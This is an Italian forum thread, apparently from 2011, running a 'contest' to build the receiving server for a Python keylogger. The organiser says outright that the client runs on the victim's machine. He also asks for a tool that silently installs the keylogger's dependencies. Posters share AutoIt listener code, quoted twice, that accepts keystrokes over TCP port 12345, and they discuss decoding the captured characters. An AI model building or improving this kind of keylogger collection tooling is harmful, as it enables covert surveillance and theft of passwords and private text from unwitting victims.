[CONTEST] Qui non si può dire

« Older   Newer »
  Share  
Ikezawa
CAT_IMG Posted on 5/1/2011, 00:27     +1   -1




CITAZIONE (/dev/random @ 5/1/2011, 00:10) 
Capiamoci: il client è quello della vittima. C'è già, non serve. Serve un programma in AutoIT che soddisfi silenziosamente e automaticamente le dipendenze del client (quelle nel topic in antilamer).
Il server è l'altra cosa che dovete scrivere, perché quello in Python funziona bene solo sotto GNU/Linux.

La versione del tuo programma python e definitiva ?

CITAZIONE (xMasteRx @ 5/1/2011, 00:06) 
CITAZIONE (xMasteRx @ 4/1/2011, 18:23) 
prova questo lol
SPOILER (click to view)
CODICE
#include<WindowsConstants.au3>
#include<WinAPI.au3>
#include<GUIConstantsEx.au3>
#include<Misc.au3>
#include<GUIEdit.au3>
Opt("GUIOnEventMode", 1)
TCPStartup()
$GTitle="PyLogger"
Global $CInfo
$gWidth=300
$gHeight=600

$IP=@IPAddress1
$PORTA=12345


Global $gBKColor=303030
$GUI=GUICreate($GTitle, $gWidth, $gHeight, -1, -1, $WS_POPUPWINDOW, $WS_EX_LAYERED)
WinSetTrans($GUI, "", 254)
GUISetOnEvent(-3, "_Exit")
$gRgn = _WinAPI_CreateRoundRectRgn(0, 0, $gWidth, $gHeight, 50, 50)
_WinAPI_SetWindowRgn($GUI, $gRgn)
GUISetBkColor("0x"&$gBKColor)
GUICtrlCreateLabel($GTitle, 10, 5, 250, 17)
GUICtrlSetOnEvent(-1, "_GMove")
GUICtrlSetColor(-1, 0xCCCCCC)
GUICtrlSetBkColor(-1, $GUI_BKCOLOR_TRANSPARENT)
GUICtrlSetFont(-1, 10, "", "", "Calibri")
GUICtrlCreateLabel("X", 280, 5, 280, 17)
GUICtrlSetOnEvent(-1, "_Exit")
GUICtrlSetColor(-1, 0xFF0000)
GUICtrlSetBkColor(-1, $GUI_BKCOLOR_TRANSPARENT)
GUICtrlSetFont(-1, 10, "", "", "Calibri")
$Edit=GUICtrlCreateEdit("Connessione..."&@CRLF, 10, 100, 280, 480, $ES_READONLY)
GUICtrlSetBkColor(-1,"0x"&$gBKColor)
GUICtrlSetColor(-1, 0xCCCCCC)
GUICtrlSetFont(-1, 10, "", 2, "Calibri")
GUISetState()

$TCPListen=TCPListen($IP, $PORTA)
Do
       $TCPsocket=TCPAccept($TCPListen)
Until $TCPsocket=True

AdlibRegister("_Svr_Recv", 10)
_GUICtrlEdit_AppendText($Edit, "In ascolto del PyLogger sulla porta "&$PORTA&" sull'ip "&$IP&@CRLF)

Do
       Sleep(10)
Until False

Func _GMove()
       AdlibRegister("_CGMove", 10)
       $CInfo=GUIGetCursorInfo($GUI)
EndFunc

Func _Svr_Recv()
       $recv=Int(TCPRecv($TCPsocket, 1024))
       If $recv="" Then Return
       ConsoleWrite(Chr($recv))
EndFunc

Func _CGMove()
       If Not _IsPressed("01") Then
               AdlibUnRegister("_CGMove")
               Return
       EndIf
       $MPos=MouseGetPos()
       If Not IsArray($CInfo) Or Not IsArray($MPos) Then Return
       WinMove($GUI, "", $MPos[0]-$CInfo[0], $MPos[1]-$CInfo[1])
EndFunc

Func _Exit()
       Exit
EndFunc

intendo per semplicissimo lol

hai usato 2 porte una per accettare la connessione ed una per ricevere ill log ?:P

do un'occhiata al python quindi :)
 
Top
/dev/random
CAT_IMG Posted on 5/1/2011, 00:50     +1   -1




CITAZIONE (Ikezawa @ 5/1/2011, 00:27) 
CITAZIONE (/dev/random @ 5/1/2011, 00:10) 
Capiamoci: il client è quello della vittima. C'è già, non serve. Serve un programma in AutoIT che soddisfi silenziosamente e automaticamente le dipendenze del client (quelle nel topic in antilamer).
Il server è l'altra cosa che dovete scrivere, perché quello in Python funziona bene solo sotto GNU/Linux.

La versione del tuo programma python e definitiva ?

Sì, per ora
CITAZIONE (Ikezawa @ 5/1/2011, 00:27) 
CITAZIONE (xMasteRx @ 5/1/2011, 00:06) 
CITAZIONE (xMasteRx @ 4/1/2011, 18:23) 
prova questo lol
SPOILER (click to view)
CODICE
#include<WindowsConstants.au3>
#include<WinAPI.au3>
#include<GUIConstantsEx.au3>
#include<Misc.au3>
#include<GUIEdit.au3>
Opt("GUIOnEventMode", 1)
TCPStartup()
$GTitle="PyLogger"
Global $CInfo
$gWidth=300
$gHeight=600

$IP=@IPAddress1
$PORTA=12345


Global $gBKColor=303030
$GUI=GUICreate($GTitle, $gWidth, $gHeight, -1, -1, $WS_POPUPWINDOW, $WS_EX_LAYERED)
WinSetTrans($GUI, "", 254)
GUISetOnEvent(-3, "_Exit")
$gRgn = _WinAPI_CreateRoundRectRgn(0, 0, $gWidth, $gHeight, 50, 50)
_WinAPI_SetWindowRgn($GUI, $gRgn)
GUISetBkColor("0x"&$gBKColor)
GUICtrlCreateLabel($GTitle, 10, 5, 250, 17)
GUICtrlSetOnEvent(-1, "_GMove")
GUICtrlSetColor(-1, 0xCCCCCC)
GUICtrlSetBkColor(-1, $GUI_BKCOLOR_TRANSPARENT)
GUICtrlSetFont(-1, 10, "", "", "Calibri")
GUICtrlCreateLabel("X", 280, 5, 280, 17)
GUICtrlSetOnEvent(-1, "_Exit")
GUICtrlSetColor(-1, 0xFF0000)
GUICtrlSetBkColor(-1, $GUI_BKCOLOR_TRANSPARENT)
GUICtrlSetFont(-1, 10, "", "", "Calibri")
$Edit=GUICtrlCreateEdit("Connessione..."&@CRLF, 10, 100, 280, 480, $ES_READONLY)
GUICtrlSetBkColor(-1,"0x"&$gBKColor)
GUICtrlSetColor(-1, 0xCCCCCC)
GUICtrlSetFont(-1, 10, "", 2, "Calibri")
GUISetState()

$TCPListen=TCPListen($IP, $PORTA)
Do
       $TCPsocket=TCPAccept($TCPListen)
Until $TCPsocket=True

AdlibRegister("_Svr_Recv", 10)
_GUICtrlEdit_AppendText($Edit, "In ascolto del PyLogger sulla porta "&$PORTA&" sull'ip "&$IP&@CRLF)

Do
       Sleep(10)
Until False

Func _GMove()
       AdlibRegister("_CGMove", 10)
       $CInfo=GUIGetCursorInfo($GUI)
EndFunc

Func _Svr_Recv()
       $recv=Int(TCPRecv($TCPsocket, 1024))
       If $recv="" Then Return
       ConsoleWrite(Chr($recv))
EndFunc

Func _CGMove()
       If Not _IsPressed("01") Then
               AdlibUnRegister("_CGMove")
               Return
       EndIf
       $MPos=MouseGetPos()
       If Not IsArray($CInfo) Or Not IsArray($MPos) Then Return
       WinMove($GUI, "", $MPos[0]-$CInfo[0], $MPos[1]-$CInfo[1])
EndFunc

Func _Exit()
       Exit
EndFunc

intendo per semplicissimo lol

hai usato 2 porte una per accettare la connessione ed una per ricevere ill log ?:P

do un'occhiata al python quindi :)

Quello di MasteR non l'ho ancora guardato, ma quel WinMove che c'entra xD
 
Top
xMasteRx
CAT_IMG Posted on 5/1/2011, 01:00     +1   -1




serve a muovere la finestra XD
ho fatto un'interfaccia minima che non mi è costata nemmeno 3 minuti farla u.u
 
Top
Ikezawa
CAT_IMG Posted on 5/1/2011, 02:02     +1   -1




CITAZIONE (/dev/random @ 5/1/2011, 00:10) 
Capiamoci: il client è quello della vittima. C'è già, non serve. Serve un programma in AutoIT che soddisfi silenziosamente e automaticamente le dipendenze del client (quelle nel topic in antilamer).
Il server è l'altra cosa che dovete scrivere, perché quello in Python funziona bene solo sotto GNU/Linux.

Parte Contest

Creare un programma grafico in AutoIT che resta in ascolto sulla porta del Keyl ****e scrive quello che riceve in un Edit.
Attenzione: si riceve un carattere per volta sotto forma di codice ASCII. Quindi per avere la lettera/numero corrispondente bisogna usare Chr().
Se però ricevete un codice < di 32, allora è un carattere non stampabile. Ad esempio il 13 e il 10 significano a capo, quindi vanno sostituiti con @CrLf. L'8 è il backspace, quindi va eliminato l'ultimo carattere, e altre cose.

Domanda :)
Non è forse meglio se a codificare i caratteri sia il client e non il server ?
 
Top
/dev/random
CAT_IMG Posted on 5/1/2011, 14:39     +1   -1




No, il client deve essere più minimale e veloce possibile, e già inviare i caratteri "in diretta" costa. Ma scusami, dov'è la difficoltà? Se ricevi 10 o 13 vai a capo, altrimenti il numero lo passi alla funzione chr() e pensa a tutto lei!
 
Top
Ikezawa
CAT_IMG Posted on 5/1/2011, 19:50     +1   -1




No... è che ho fatto lo script al contrario -_- va be vedo un pò ::D
 
Top
MHack
CAT_IMG Posted on 7/1/2011, 00:17     +1   -1




Ma dobbiamo farlo in python?
 
Top
3ad_Pr0grammer
CAT_IMG Posted on 7/1/2011, 13:20     +1   -1




CITAZIONE
Ma dobbiamo farlo in python?

CITAZIONE
Creare un programma grafico in AutoIT che resta in ascolto sulla porta del Keylogger e scrive quello che riceve in un Edit.

 
Top
/dev/random
CAT_IMG Posted on 8/1/2011, 12:38     +1   -1




CITAZIONE (3ad_Pr0grammer @ 7/1/2011, 13:20) 
CITAZIONE
Ma dobbiamo farlo in python?

CITAZIONE
Creare un programma grafico in AutoIT che resta in ascolto sulla porta del Keylogger e scrive quello che riceve in un Edit.

Grazie xD
 
Top
Ikezawa
CAT_IMG Posted on 9/1/2011, 14:59     +1   -1




;) Il tuo client funziona anche sotto linux ?Non conosco il python ma ho letto che pyhook registra tutti gli eventi globali sotto windows

Ciao ;)



 
Top
/dev/random
CAT_IMG Posted on 9/1/2011, 15:09     +1   -1




Il keylogger è per Windows e funzionerà sotto Windows. La parte che riceve i dati sarà multipiattaforma.
 
Top
25 replies since 4/1/2011, 14:16   431 views
  Share